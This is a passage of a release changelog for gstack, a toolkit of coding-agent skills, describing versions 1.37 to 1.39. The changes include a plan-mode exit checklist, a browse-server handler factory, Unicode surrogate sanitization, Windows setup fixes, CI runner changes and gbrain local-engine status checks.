| ExitPlanMode discipline in plan-* reviews | Soft `## Plan Status Footer` injected at TOP of skill via preamble: "if the plan file lacks `## GSTACK REVIEW REPORT`, run `gstack-review-read` and append... PLAN MODE EXCEPTION — always allowed." Permission grant, not a precondition. Sat ~3000 lines above ExitPlanMode in the skill prompt. | Terminal `## EXIT PLAN MODE GATE (BLOCKING)` injected at EOF of every plan-* review skill: 4-item self-check with explicit "contract violation" framing for the failure mode. Last thing the model reads before ExitPlanMode. |
| Preamble footer in operational skills (`/ship`, `/qa`, `/review`, `/health`) | Same enforcement text as plan-mode skills — review-report rules bled into skills that have no review report | Neutral forward reference: "Plan-review skills include the EXIT PLAN MODE GATE at the end; this footer is a no-op for operational skills." No imposed rules where they can't apply. |
| Regression protection | None — gate placement could silently regress on any future template edit | `bun test test/gen-skill-docs.test.ts` asserts gate is terminal `## ` heading in 4 plan-* skills (with fenced-code-block stripping) and present in codex via `toContain`. |

Cross-model review by Codex (`/codex` consult mode) caught six pre-merge factual issues the eng review missed: insertion line numbers were not terminal positions, the test regex would false-match `## ` lines inside fenced code blocks, the existing `REVIEW_SKILLS` constant in the test file was missing `plan-devex-review`, the preamble retoning bled review-report rules into operational skills, gate check 4 conflicted with `PLAN_FILE_REVIEW_REPORT`'s "skip silently if no plan file" escape clause, and the implementation sequence wasn't explicit enough to prevent bisect-broken commits. All six folded in before push.

### What this means for plan reviews

When the model finishes a plan-* review and is about to exit plan mode, it reads a blocking checklist that reframes ExitPlanMode as a precondition-bearing call, not a free termination. The plan ships with its review report attached as the file's terminal heading, every time. If the user has been bitten by "approved a plan only to discover the review report was never written" before, that failure mode is gone.

### Itemized changes

#### Added

- `generateExitPlanModeGate` resolver in `scripts/resolvers/review.ts:161` — emits the 4-item blocking checklist with "contract violation" framing. Single source of truth for the gate text.
- `EXIT_PLAN_MODE_GATE` placeholder registered in `scripts/resolvers/index.ts:42`. Appended at EOF of `plan-eng-review/SKILL.md.tmpl`, `plan-ceo-review/SKILL.md.tmpl`, `plan-design-review/SKILL.md.tmpl`, `plan-devex-review/SKILL.md.tmpl`. Inserted into `codex/SKILL.md.tmpl` after `{{PLAN_FILE_REVIEW_REPORT}}` in Step 2A (mid-file by design — Step 2B/2C are not plan-touching modes).
- `test/gen-skill-docs.test.ts:3097` — new `EXIT PLAN MODE GATE placement` describe block. Strips fenced code blocks before matching `## ` headings (a naive regex would false-match the `## GSTACK REVIEW REPORT` example inside `PLAN_FILE_REVIEW_REPORT`'s fenced markdown block). Uses a fresh skill list — not the upstream `REVIEW_SKILLS` constant which only has 3 entries and would silently miss plan-devex-review.

#### Changed

- `scripts/resolvers/preamble/generate-completion-status.ts:82` — `## Plan Status Footer` retoned from enforcement language ("if the plan file lacks `## GSTACK REVIEW REPORT`, run `gstack-review-read`... PLAN MODE EXCEPTION — always allowed") to neutral forward reference ("plan-review skills include the EXIT PLAN MODE GATE at the end; this footer is a no-op for operational skills"). Avoids review-report rules bleeding into `/ship`, `/qa`, `/review`, `/health`, etc.
- `test/gen-skill-docs.test.ts:1093` — updated existing "Plan status footer in preamble" assertion to match the new neutral wording. Now also asserts the absence of "NO REVIEWS YET" to lock in the no-bleed property.
- `test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md` — golden baselines updated to capture the new preamble wording. The ship skill's body did not change; only the inherited preamble footer.

#### Fixed

- `package.json` build script — three `{ git rev-parse HEAD 2>/dev/null || true; }` brace groups (Bun-Windows-hostile) regressed during the v1.38.0.0 merge resolution; replaced with `( ... )` subshells to match the v1.38.0.0 invariant. Caught by Windows CI's `build-script-shell-compat` test on PR #1512.

#### For contributors

- The implementation sequence is load-bearing: resolver → index → templates → preamble → `bun run gen:skill-docs` → tests. Adding the test before regeneration fails on missing gate; regenerating before the resolver edits produces no-op output. Bisectable commits should respect this order.
- The codex gate is intentionally NOT terminal in `codex/SKILL.md`. Codex has three modes (review/challenge/consult) and only review mode writes to plan files. The gate's check-2 ("last heading is GSTACK REVIEW REPORT") short-circuits cleanly when no plan file is in context, so non-plan codex invocations are unaffected.

## [1.39.0.0] - 2026-05-14

## **`buildFetchHandler` ships. Embedders compose overlay routes on top of**
## **gstack's dispatch without forking the browse server.**

The browse daemon's request handler is now exposed as a factory. Embedders pass a `ServerConfig` with their own `authToken`, `browserManager`, and an optional `beforeRoute` hook, and gstack returns a `ServerHandle` with `fetchLocal`, `fetchTunnel`, `shutdown`, and `stopListeners`. The CLI path delegates to the same factory, so externally-observable behavior is unchanged. Auth state is now cfg-driven end-to-end: the module-level `AUTH_TOKEN` constant, its `initRegistry` boot call, the module `validateAuth`, and the module `shutdown` are deleted, and the factory closure owns those responsibilities so the embedder's browser is the one that actually closes on shutdown. The `beforeRoute` hook fires after the tunnel surface filter and before per-route dispatch. Returning a `Response` short-circuits gstack; returning `null` falls through to the gstack route. Invalid bearer resolves to `null` at the hook (per a new security warning in the JSDoc), so overlay code gates on its own trust signal rather than re-implementing bearer auth.

### The numbers that matter

Source: `bun test browse/test/server-factory.test.ts` — 28 tests covering both the type surface (14 pre-existing) and the new factory contract (14 added), all green in 344 ms. Plus 49 token-registry tests, 8 browser-skills-e2e tests, 29 browser-skill-commands tests, 15 skill-token tests — every test that uses `initRegistry` under the new idempotency guard passes. Zero new test regressions versus main across the rest of the suite.

| Surface | Before | After |
|---|---|---|
| `buildFetchHandler(cfg: ServerConfig): ServerHandle` | type-only; throwing factory not exported | live factory used by CLI + ready for gbrowser submodule |
| `beforeRoute` overlay hook | declared in `ServerConfig` since v1.34.0.0, never wired | runs after tunnel filter and before per-route dispatch; short-circuits on `Response`, falls through on `null` |
| Module-level `AUTH_TOKEN` const | `sanitizeAuthToken(process.env.AUTH_TOKEN) ?? randomUUID()` baked at import time, read by 7+ call sites | deleted; cfg.authToken is the single source of truth, threaded through `launchHeaded`, the state file write, and the factory in one pass |
| Module-level `validateAuth` | reads module `AUTH_TOKEN` | deleted; factory-scoped closure reads `cfg.authToken` |
| Module-level `shutdown` | closes module-level `browserManager` (wrong for phoenix) | deleted; factory-scoped `shutdown` closes `cfg.browserManager` |
| `initRegistry` | overwrites `rootToken` unconditionally | idempotent for same token; throws clearly for different token (catches embedder misconfiguration at boot) |
| `__resetRegistry()` test helper | did not exist | mirrors `__resetConnectRateLimit`; lets tests start with a clean registry without tripping the new guard |
| Net diff | — | ~500 LOC moved + 14 new contract tests + 1 idempotency guard + 1 hook wiring + 4 test files updated to use `__resetRegistry` |

The factory deletes the import-time env coupling that v1.34.0.0 documented but couldn't fix on its own.

### What this means for embedders

gbrowser v0.6.0.0 (phoenix overlay) can now ship. Phoenix imports `buildFetchHandler` directly, passes its own `BrowserManager` and an overlay hook, and the same gstack dispatch carries every command. No fork, no duplicated routes, no need to set `process.env.AUTH_TOKEN` before importing. For the CLI, nothing changes.

### Itemized changes

#### Added

- `buildFetchHandler(cfg: ServerConfig): ServerHandle` in `browse/src/server.ts`.
- `beforeRoute` hook wiring in the request handler, with a security warning JSDoc for overlay authors.
- 14 factory contract tests in `browse/test/server-factory.test.ts` (covers ServerHandle shape, auth wiring, validation throws, hook semantics across both surfaces, and registry idempotency / mismatch-throw).
- `__resetRegistry()` test-only export in `browse/src/token-registry.ts` (mirrors `__resetConnectRateLimit`).
- Module-level `activeShutdown` ref so module-level timers and signal handlers route through the factory-scoped shutdown.

#### Changed
- `start()` delegates handler construction to `buildFetchHandler`. Reads env once via `resolveConfigFromEnv()` and threads the resulting `authToken` into `launchHeaded`, the state-file write, and the factory.
- Auth is now cfg-driven end-to-end. Module-level `AUTH_TOKEN` const, `initRegistry(AUTH_TOKEN)` boot call, `validateAuth`, and `shutdown` are deleted; factory closure owns them.
- `initRegistry` is idempotent for same-token re-init; throws clearly for different-token re-init with a message pointing embedders to `buildFetchHandler`.
- Bun.serve return value (`server`) is captured in `start()` (Codex outside-voice finding #8).
- `ServerConfig.beforeRoute` JSDoc updated for contract honesty plus a security warning about not returning privileged data from the hook without re-checking auth.

#### For contributors
- Lifecycle singletons (`LOCAL_LISTEN_PORT`, `tunnelActive`, inspector state, `isShuttingDown`) intentionally stay at module scope; auth state does not. Multi-handle isolation is captured as a follow-up TODO.
- Existing tests that followed `rotateRoot() → initRegistry('fixed-token')` swap to `__resetRegistry() → initRegistry('fixed-token')` so the new mismatch guard doesn't fire.
- Source-pattern tests in `dual-listener.test.ts` and `server-auth.test.ts` updated to match the new identifiers (`handle.fetchLocal`/`handle.fetchTunnel`, `authToken`, `shutdownFn`).

## [1.38.1.0] - 2026-05-14

## **Every review skill ends with a build-actionable task checklist. Federation sync stops dropping office-hours design docs. Surrogate sanitization gets a defense-in-depth second layer on top of v1.38.0.0's choke point.**
## **Two community-filed issues land as one wave: per-skill Implementation Tasks with JSONL handoff to `/autoplan`, and root-level artifact patterns in `.brain-allowlist`. Plus a testable `buildCommandResponse` extraction and JSON-escape sanitizer on top of v1.38.0.0's `handleCommandInternal` choke-point fix for #1440.**

v1.38.0.0 (just shipped) put surrogate sanitization at the architectural choke point inside `handleCommandInternal` — every command result is now sanitized once before any caller (HTTP, `/batch`, scoped-token dispatch) sees it. This release adds a defense-in-depth second layer: `buildCommandResponse` is extracted from `handleCommand` as an exported pure function, so the HTTP-response boundary is independently unit-testable, and a `stripLoneSurrogateEscapes` pass handles `\uXXXX` JSON escape sequences in case any payload was already JSON-stringified before reaching the choke point. The two layers compose: choke point catches raw surrogates at result-build time, boundary catches anything that slipped through as escape text.

All four review skills (CEO / design / eng / DX) now end with an `## Implementation Tasks` markdown checklist and write a `jq`-built JSONL artifact to `~/.gstack/projects/$SLUG/tasks-{phase}-{datetime}.jsonl`. `/autoplan`'s Phase 4 reads all four files, scopes by current branch + 5-commit window, dedupes on exact `(component, sorted(files), title)` matches, and renders one aggregated list inside the final approval gate. Tasks that derive from the same finding now collapse; tasks that just happen to touch the same file with different titles surface separately so the human can decide whether they're the same work. Standalone review runs (`/plan-eng-review` alone, etc.) produce their own task list and JSONL file even outside autoplan — the JSONL is the handoff contract.

Federation sync (`gstack-brain-sync`) was silently skipping root-level design and test-plan docs — `/office-hours` and `/plan-eng-review` write at `projects/{slug}/{user}-{branch}-design-*.md`, but the allowlist only knew about `projects/*/designs/*.md` and `projects/*/ceo-plans/*.md`. New patterns ship in `.brain-allowlist`, `.brain-privacy-map.json` (classified as `artifact`), and `.gitattributes` (with `merge=union` to handle cross-machine conflicts). An idempotent jq-based migration (`gstack-upgrade/migrations/v1.38.1.0.sh`) patches existing installs in-place without re-running `gstack-artifacts-init` (which would have done a git commit + push and clobbered user state).

### The numbers that matter

Source: `bun test browse/test/sanitize.test.ts browse/test/build-command-response.test.ts test/artifacts-init-migration.test.ts` — 32 new unit tests covering every fix surface, all green.

| Surface | Before | After |
|---|---|---|
| API 400 from `$B text` on surrogate-containing page | Crash | Sanitized at extraction + chokepoint |
| API 400 from `$B html`, `$B accessibility`, `$B batch` | Crash (chokepoint bypassed) | Sanitized at `buildCommandResponse` + `/batch` envelope |
| Application/json bodies with `\uXXXX` escape surrogates | Still crash (regex matches raw codepoints only) | Second-pass `stripLoneSurrogateEscapes` handles escape text |
| `/autoplan` final output | Decision summary, no task list | Decision summary **plus** aggregated `Implementation Tasks` from all 4 phases |
| Standalone `/plan-eng-review` output | Required-outputs sections, no task list | Same **plus** per-skill `Implementation Tasks` + JSONL handoff |
| `/office-hours` design docs in federation queue | Silently skipped (root-level not in allowlist) | Queued, classified `artifact`, union-merge rule applied |

### What this means for builders

Page captures with mixed-script Unicode round-trip cleanly to the Claude API now. Every review skill you run ends with a checkbox list of build tasks you can hand to Claude Code or Codex. Federation sync picks up the design docs that were silently dropping out of your brain repo. Run `/gstack-upgrade` to pick up the migration that patches your `.brain-allowlist`, `.brain-privacy-map.json`, and `.gitattributes` in place; no commit + push, no user-state clobber.

### Itemized changes

#### Fixed

- **Defense in depth on top of v1.38.0.0's surrogate sanitization (#1440)** — v1.38.0.0 sanitizes at `handleCommandInternal` (the choke point all callers go through). This release adds a second layer at the HTTP-response boundary: `browse/src/sanitize.ts` (new) exports `stripLoneSurrogates`, `stripLoneSurrogateEscapes` (handles `\uXXXX` JSON-escape variants the raw-codepoint regex misses), and `sanitizeBody` (picks the right pass for text/plain vs application/json). `buildCommandResponse` is extracted from `handleCommand` and exported so the response boundary is unit-testable without spinning up the server. `/batch` also gets a per-result + envelope sanitize as belt-and-suspenders. Defense-in-depth wraps at `getCleanText`, `getCleanTextWithStripping`, `html`, `accessibility`, and `snapshot` extraction sites so downstream consumers (datamarking, envelope wrapping) see clean text before any further processing.
- **Federation sync drops `/office-hours` and `/plan-eng-review` artifacts (#1452)** — `bin/gstack-artifacts-init` adds `projects/*/*-design-*.md` and `projects/*/*-test-plan-*.md` to all three managed blocks: `.brain-allowlist`, `.brain-privacy-map.json` (class `artifact`), and `.gitattributes` (`merge=union`).
- **`/setup-gbrain` wrong config key (#1441)** — verified already-fixed in v1.27.0.0; closed the issue with a comment citing the migration script that aligns legacy `gbrain_sync_mode` installs to the current `artifacts_sync_mode` key.

#### Added

- **`## Implementation Tasks` section + JSONL handoff in every review skill (#1454)** — `plan-ceo-review`, `plan-design-review`, `plan-eng-review`, `plan-devex-review` each emit a per-skill markdown checklist and write `~/.gstack/projects/$SLUG/tasks-{phase}-{datetime}.jsonl` via `jq -nc` (never hand-rolled echo). `/autoplan` Phase 4 reads all four phase JSONL files, scopes by current branch and 5-commit window, dedupes on exact `(component, sorted(files), title)` matches, and renders one aggregated list. Near-duplicates surface separately with a possible-duplicate note for human resolution.
- **`browse/src/sanitize.ts`** — two surrogate-stripping utilities plus a convenience selector keyed on content-type. Pairs with a refactored `buildCommandResponse` in `server.ts` (exported for testability) and per-result sanitization in the `/batch` handler.
- **`gstack-upgrade/migrations/v1.38.1.0.sh`** — idempotent per-file repair for `.brain-allowlist`, `.brain-privacy-map.json`, and `.gitattributes`. Uses `jq` for the JSON file (preserves validity); falls back with a clear warning if `jq` is missing. Does NOT re-run `gstack-artifacts-init` (which would commit + push to the user's federated repo).
- **32 new unit tests** across `browse/test/sanitize.test.ts` (18), `browse/test/build-command-response.test.ts` (7), `test/artifacts-init-migration.test.ts` (7). All gate-tier (free, runs on every PR).

#### Changed

- **`browse/src/snapshot.ts`, `read-commands.ts`, `content-security.ts`** — defense-in-depth surrogate wraps at extraction sites that feed pre-Response consumers (datamarking, envelope wrapping).
- **`scripts/resolvers/tasks-section.ts`** (new) + **`scripts/task-emission-schema.ts`** (new) — shared resolver and schema for the per-skill task emission. Each review template invokes `{{TASKS_SECTION_EMIT:<phase>}}` once.

#### For contributors

- `/codex review` on Codex CLI ≥0.130.0 was handled separately by v1.34.2.0 (the dual-path bare/exec approach). Our planning surfaced an adjacent concern: the bare path no longer carries the filesystem boundary, so codex may waste tokens reading skill files when the diff happens to touch `.claude/skills/`. Filed as a follow-up issue; not blocking this release.
- The implementation-tasks aggregation in `/autoplan` uses a structured JSONL handoff between phases rather than re-parsing markdown. Schema lives in `scripts/task-emission-schema.ts`. Adding a fifth review phase means adding the phase name to `VALID_PHASES` in `scripts/resolvers/tasks-section.ts` and including `{{TASKS_SECTION_EMIT:<phase-name>}}` in the new review template.
- Touchfiles entries are unchanged — the new tests are all gate-tier unit tests that run on `bun test`. Touchfiles is only for E2E + LLM evals.

## [1.38.0.0] - 2026-05-14

## **Windows install actually works across every host adapter. Page scrapes survive lone Unicode surrogates on every egress path.**
## **Forty-two `ln -snf` call sites in `setup` now route through one helper that picks `cp -R` / `cp -f` on MSYS2/Git Bash. The browse server sanitizes lone surrogates at the architectural choke point so HTTP, batch, and both SSE streams inherit it. The Windows free-test CI lane moves to a paid faster runner.**

Windows users who pull `git pull && ./setup` now get fresh skill files for every host adapter (Claude, Codex, Factory, OpenCode, Kiro) — not just the top-level Claude SKILL.md. The previous behavior was silent staleness: `ln -snf` on Windows-without-Developer-Mode produces a frozen file copy that doesn't refresh on subsequent runs. A new `_link_or_copy` helper in `setup` dispatches on `IS_WINDOWS` and picks the right primitive (`cp -R` for directories, `cp -f` for files, `ln -snf` otherwise). All 42 symlink sites route through it. A static-invariant test asserts zero raw `ln` calls outside the helper body so the bug can't return through future contributions.

The browse server's Unicode sanitization lifts from `handleCommand` (PR #1463's original target) to `handleCommandInternal` so the batch command path (`/command/batch`) inherits it too. Both SSE producers (activity feed at `/activity/stream` and inspector stream) now stringify with a `sanitizeReplacer` function that cleans every string value during JSON.stringify — post-stringify regex is ineffective there because `JSON.stringify` has already converted `\uD800` into the escape sequence `"\\ud800"` before the regex would run. Result: every page-content payload that ships from the server has lone UTF-16 surrogate halves replaced with U+FFFD before any downstream consumer (Anthropic API, sidebar JSON.parse) sees them.

All Linux CI jobs migrate to `ubicloud-standard-8` for consolidated billing and 4x more cores than free `ubuntu-latest`. Eight workflows touch the Linux pool: `evals.yml`, `evals-periodic.yml`, `ci-image.yml`, `make-pdf-gate.yml`, `actionlint.yml`, `pr-title-sync.yml`, `skill-docs.yml`, `version-gate.yml`. The Windows-only job (`windows-free-tests.yml`) stays on GitHub's free `windows-latest` — Ubicloud doesn't ship a Windows pool, GitHub's paid `windows-latest-8-cores` requires org-level larger-runner billing enablement, and the wave-coverage tests this job runs are small enough that the slower 4-core free runner keeps total job time under 2 minutes. Four new wave tests get registered: sanitizer unit + bug-repro + wiring invariants, setup helper static-invariant + behavior matrix, build-script POSIX-shell sanity, and a doc-vs-config deprecated-key drift guard. Docs that still referenced the renamed `gbrain_sync_mode` config key now say `artifacts_sync_mode` consistently, and the drift guard prevents reintroduction.

Contributed by @realcarsonterry: PRs #1460, #1461, #1462, and #1463 are the seed of this wave. The scope expansion to all 42 setup sites + every server egress path + Windows CI migration is the gstack maintainer's follow-through.

### The numbers that matter

Source: this branch's diff against `origin/main` and the wave plan at `~/.claude/plans/system-instruction-you-are-working-peppy-volcano.md` (target ship slot v1.38.0.0 after queue advance past in-flight PR #1500).

| Surface | Before | After | Δ |
|---------|--------|-------|---|
| `setup` symlink sites guarded for Windows | 0 of 42 | 42 of 42 | +42 |
| Server Unicode-sanitization egress points | 0 | 4 (HTTP, batch, activity SSE, inspector SSE) | +4 |
| Bash brace groups in `package.json` build script (Bun-Windows-hostile) | 3 | 0 | -3 |
| Stale `gbrain_sync_mode` references in docs | 5 | 0 | -5 |
| New regression tests | 0 | 29 (4 files) | +29 |
| Linux CI runner pool | mix of `ubuntu-latest` (4 core, free) + `ubicloud-standard-2` | `ubicloud-standard-8` everywhere | single billing surface for Linux, 4x more cores on previously-free jobs |
| Windows CI runner | `windows-latest` (free) | `windows-latest` (free, unchanged) | Ubicloud doesn't offer Windows; paid GitHub larger-runner option requires org-billing toggle not currently set |

The static invariant test (D7) reads `setup` and asserts zero raw `ln` calls outside the `_link_or_copy` helper body — even a single one-line slip by a future contributor fails the build.

### What this means for downstream gstack users

If you run gstack on Windows: `./setup` now produces a working install across every host adapter, and the user-visible note tells you to re-run after `git pull`. If you scrape pages with non-Latin text or emoji: Bun's CDP responses can no longer break the Anthropic API with lone-surrogate JSON bodies — sanitization is single-point and inherited by every server egress path. If you contribute to gstack: a future `ln -snf` slip in `setup` will fail CI, and a future SSE endpoint that bypasses sanitization is flagged by an inline invariant comment plus this CHANGELOG entry.

### Itemized changes

#### Added

- **`browse/test/server-sanitize-surrogates.test.ts`** — 11 unit cases (passthrough, valid pair, lone high/low mid-string, trailing/leading lone, adjacent doubles, pair-then-lone, lone-then-pair), 2 bug-repro tests (UTF-8 round-trip + JSON round-trip), 3 wiring-invariant tests (handleCommandInternalImpl rename, SSE activity, SSE inspector).
- **`test/setup-windows-fallback.test.ts`** — static invariant (zero raw `ln` calls outside helper), helper-existence assertions, behavior matrix (4 cells: file/dir × Windows/Unix) via awk-style helper extraction + `bash -c` sourcing, Windows-note printer registration check.
- **`test/build-script-shell-compat.test.ts`** — regex against `package.json scripts.*` rejecting bash brace groups (Bun-Windows-hostile); asserts `.version` redirects use subshells, not braces.
- **`test/docs-config-keys.test.ts`** — deprecated-key denylist (`gbrain_sync_mode`, `gbrain_sync_mode_prompted`) scanned across `docs/**/*.md`; round-trip test for `gstack-config get artifacts_sync_mode`.

#### Changed

- **`browse/src/server.ts`** — `handleCommandInternal` split into `handleCommandInternalImpl` (raw) + thin sanitizing wrapper. Single egress point for both HTTP and batch consumers. Inline INVARIANT comment near the wrapper documents the architectural constraint.
- **`browse/src/server.ts` SSE producers** — activity feed (`/activity/stream`) and inspector stream stringify with `sanitizeReplacer`, a `JSON.stringify` replacer function that cleans every string value during encoding. Post-stringify regex is a no-op because `JSON.stringify` has already converted `\uD800` to `"\\ud800"` before the regex could match. Inline INVARIANT comment in each.
- **`setup`** — new `_link_or_copy SRC DST` helper near `IS_WINDOWS` detection (~line 33). Auto-dispatches on file-vs-directory + Windows-vs-Unix, and skips Unix-style name-only aliases (e.g. `gstack/open-gstack-browser` for the connect-chrome alias) when the source doesn't resolve on disk so Windows installs don't abort under `set -e`. All 42 prior `ln -snf` call sites converted to `_link_or_copy`. New `_print_windows_copy_note_once` helper called from `link_claude_skill_dirs` after any link work completes. `cleanup_old_claude_symlinks` and `cleanup_prefixed_claude_symlinks` extended with a Windows branch so `--prefix` / `--no-prefix` flips remove stale real-file SKILL.md copies instead of leaving them behind.
- **`.github/workflows/*.yml` (8 Linux workflows)** — every Linux `runs-on` switched to `ubicloud-standard-8`: `evals.yml`, `evals-periodic.yml`, `ci-image.yml`, `actionlint.yml`, `pr-title-sync.yml`, `skill-docs.yml`, `version-gate.yml`, and `make-pdf-gate.yml`'s Linux matrix entry. The `evals.yml` matrix default and the prose footer both updated to reference `ubicloud-standard-8`.
- **`.github/workflows/windows-free-tests.yml`** — stays on GitHub-hosted free `windows-latest`. Test-list expanded to include the 4 new wave tests. Earlier attempts on Blacksmith/GitHub-larger/Ubicloud-Windows all failed (label not registered, org-billing off, vendor doesn't offer Windows respectively); free `windows-latest` is the working path.
- **`.github/actionlint.yaml`** — registers the two Ubicloud Linux labels (`ubicloud-standard-2`, `ubicloud-standard-8`) so workflow lint accepts them. The duplicate dead-weight `actionlint.yaml` at the repo root is removed (actionlint only reads `.github/actionlint.yaml`).
- **`package.json`** — build script's three `{ git rev-parse HEAD 2>/dev/null || true; } > path/.version` brace groups replaced with `( ... )` subshells. POSIX-universal, Bun-Windows-compatible.
- **`docs/gbrain-sync.md`, `docs/gbrain-sync-errors.md`** — 5 stale `gbrain_sync_mode` config-key references → `artifacts_sync_mode` (the rename landed in v1.27.0.0 but two docs still pointed at the old key).

#### For contributors

- **Architectural invariant (Unicode):** every JSON.stringify call that serializes page-content-derived strings MUST be passed `sanitizeReplacer` (for object payloads where consumers will JSON.parse) OR the resulting body MUST be wrapped in `sanitizeLoneSurrogates` (for text/plain responses). Today this is enforced by `handleCommandInternal`'s sanitizing wrapper for command results and explicit `sanitizeReplacer` arguments at the two SSE producers. New SSE/WebSocket writers must follow the same pattern; inline comments near both producers say so.
- **Architectural invariant (setup):** every symlink in `setup` MUST go through `_link_or_copy`. Enforced by `test/setup-windows-fallback.test.ts`'s static invariant — a single raw `ln` call outside the helper body fails CI.
- **Test coverage gap closed:** prior to this wave, the curated Windows CI lane (`windows-free-tests.yml`) didn't exercise the install-symlink path, the Unicode sanitization, the build-script shell compat, or doc-config drift. All four now run on every PR.
- **Out of scope (P2 follow-ups):** pushing sanitization deeper to `browse/src/snapshot.ts` (covers WebSocket frames that don't transit `cr.result`); porting the 24 POSIX-bound free tests to run on Windows (tracked in `windows-free-tests.yml`'s own comments).

## [1.37.0.0] - 2026-05-14

## **Split-engine gbrain: remote MCP for brain, local PGLite for code.**
## **Symbol-aware code search now coexists with cross-machine knowledge.**

Path 4 (Remote MCP) setup gets a new opt-in at Step 4.5: a tiny local PGLite (~30s, ~120 MB) for `gbrain code-def`, `code-refs`, `code-callers` per worktree. The remote brain keeps holding artifacts, transcripts, and cross-machine queries. The two engines stay independent. Transcripts route to the artifacts repo on remote-MCP machines, the brain admin's pull job indexes them, and the local PGLite stays code-only with no transcript pollution. A new `gbrain_local_status` field on `gstack-gbrain-detect` distinguishes ok / no-cli / missing-config / broken-config / broken-db; `/sync-gbrain` and the sync orchestrator both gate on it so a dead Postgres URL gives a clear remediation message instead of two stages of ERR output.

`/setup-gbrain` Step 1.5 (new) detects a broken local engine on re-run and offers four options: Retry the probe, Switch to PGLite (one-way, .bak rollback on failure), Switch brain mode (fall through to Step 2's path picker), or Quit. `/sync-gbrain` Step 1.5 (new) STOPs cleanly on broken-config / broken-db with a remediation message and SKIPs code+memory in `missing-config + remote-http` so the brain-sync push to the artifacts repo still runs.

### The numbers that matter

Source: `bun test test/gbrain-local-status.test.ts test/gbrain-detect-shape.test.ts test/gbrain-sync-skip.test.ts test/gbrain-init-rollback.test.ts test/gstack-upgrade-migration-v1_37_0_0.test.ts` — 5 new gate-tier test files, 27 cases, all green in ~5s. Periodic-tier E2E `test/skill-e2e-setup-gbrain-path4-local-pglite.test.ts` runs the full Path 4 + Step 4.5 Yes flow against a stub MCP and passes in 280s.

| Surface | Before | After |
|---|---|---|
| Path 4 + `/sync-gbrain --full` output (Garry's broken-db state) | `ERR code source registration failed: gbrain not configured (run /setup-gbrain)` + `ERR memory gbrain import exited 1: Cannot connect to database` | `SKIP code skipped — local engine broken-db — config points at unreachable DB; see /setup-gbrain Step 1.5` + brain-sync runs normally |
| `bin/gstack-gbrain-detect` runtime | bash + jq, single-purpose probe | TypeScript shebang script sharing the `localEngineStatus()` classifier with the orchestrator. 10 JSON fields, 9 existing keys byte-compat; one new `gbrain_local_status` enum. Memoized resolvers cut ~400ms of duplicate fork-exec per skill preamble. |
| Status probe cost | `gbrain doctor --json` without `--fast` could hang up to 5s on dead DB | `gbrain doctor --json --fast` (3s ceiling) + DB-reachability via `gbrain sources list --json` stderr classification (~80ms steady), 60s TTL cache keyed on `{HOME, PATH, gbrain bin, gbrain version, config mtime}` |
| Path 4 user discovers code search | Hidden — only `/sync-gbrain` errors hint at it | `/gstack-upgrade` migration v1.37.0.0 prints a one-time notice when `gbrain_mcp_mode == remote-http` AND `gbrain_local_status == missing-config`. `gstack-config set local_code_index_offered true` to silence. |
| Transcripts indexed in remote brain | Local-only `gbrain import` writes to the LOCAL engine, polluting PGLite if user opts into Step 4.5 | `gstack-memory-ingest` detects remote-http MCP, persists staged markdown to `~/.gstack/transcripts/run-<pid>-<ts>/` instead of tmpdir, skips local `gbrain import`. `bin/gstack-brain-sync` allowlist now covers `transcripts/run-*/*.md`; brain admin pulls and indexes. |

### Itemized changes

#### Added

- `lib/gbrain-local-status.ts` — shared 5-state engine status classifier (`ok` / `no-cli` / `missing-config` / `broken-config` / `broken-db`) with 60s TTL cache and `--no-cache` flag. Probes via `gbrain sources list --json` + stderr classification reusing the exact patterns from `lib/gbrain-sources.ts:66-67`.
- `/setup-gbrain` Step 1.5 — broken-db remediation with 4 options (Retry / Switch to PGLite / Switch brain mode / Quit). PGLite switch is rollback-safe: `mv ~/.gbrain/config.json` to a timestamped `.bak`, `gbrain init --pglite`, on non-zero exit restore the .bak verbatim.
- `/setup-gbrain` Step 4.5 — Path 4 opt-in for local PGLite code search. Yes path runs `gstack-gbrain-install` (idempotent) + `gbrain init --pglite --json` with the same rollback semantics. No path keeps Path 4 as remote-MCP-only.
- `/sync-gbrain` Step 1.5 — pre-flight local engine status check. STOPs on broken-config / broken-db with remediation, SKIPs code+memory in `missing-config + remote-http` so brain-sync still runs.
- `gstack-upgrade/migrations/v1.37.0.0.sh` — one-time discoverability notice for existing Path 4 users whose machine has no local engine yet.
- `bin/gstack-brain-sync` allowlist — `transcripts/run-*/*.md` so remote-MCP transcripts persisted to `~/.gstack/transcripts/` reach the artifacts repo.
- New test files (gate-tier, all mocked, no real gbrain): `gbrain-local-status.test.ts` (11 cases), `gbrain-detect-shape.test.ts` (8 cases), `gbrain-sync-skip.test.ts` (5 cases), `gbrain-init-rollback.test.ts` (3 cases), `gstack-upgrade-migration-v1_37_0_0.test.ts` (5 cases).
- Periodic-tier E2E `skill-e2e-setup-gbrain-path4-local-pglite.test.ts` for the full Path 4 + Step 4.5 Yes flow.

#### Changed

- `bin/gstack-gbrain-detect` — rewritten bash → TypeScript shebang script. Filename unchanged so existing skill preamble callers shell out without edits. 9 existing JSON fields preserve name + type + semantics; new `gbrain_local_status` field added. Documented dependency: requires `bun` on PATH (the gstack installer already provides this).
- `bin/gstack-gbrain-sync.ts` — `runCodeImport()` + `runMemoryIngest()` return `{ran: false, summary: "skipped — local engine <status>; remote MCP unaffected"}` when `localEngineStatus() != 'ok'`. Brain-sync stage continues regardless.
- `bin/gstack-memory-ingest.ts` — when `gbrain_mcp_mode === 'remote-http'`, persists staged transcripts to `~/.gstack/transcripts/run-<pid>-<ts>/` and skips local `gbrain import` entirely.
- `bin/gstack-artifacts-init` — extends the managed `.brain-allowlist` to include `transcripts/run-*/*.md` and `transcripts/run-*/**/*.md` (privacy class: behavioral).
- `sync-gbrain/SKILL.md.tmpl` Step 1 — corrects misleading prose about memory stage "routing through MCP." Memory stage always shells out to local `gbrain import`; in remote-http mode it persists markdown instead.

#### Fixed

- Pre-existing flake in `test/gstack-next-version.test.ts` — bumped per-test timeout from default 5s to 15s. Spawned `gstack-next-version` CLI takes 4-5s wall time on M-series Macs under suite load and tipped over 5001ms intermittently.

#### For contributors

- New shared classifier pattern: `lib/gbrain-local-status.ts` exports `localEngineStatus()`, `resolveGbrainBin()`, `readGbrainVersion()`. The latter two are memoized per-process keyed on PATH so detect + classifier share fork-exec results.
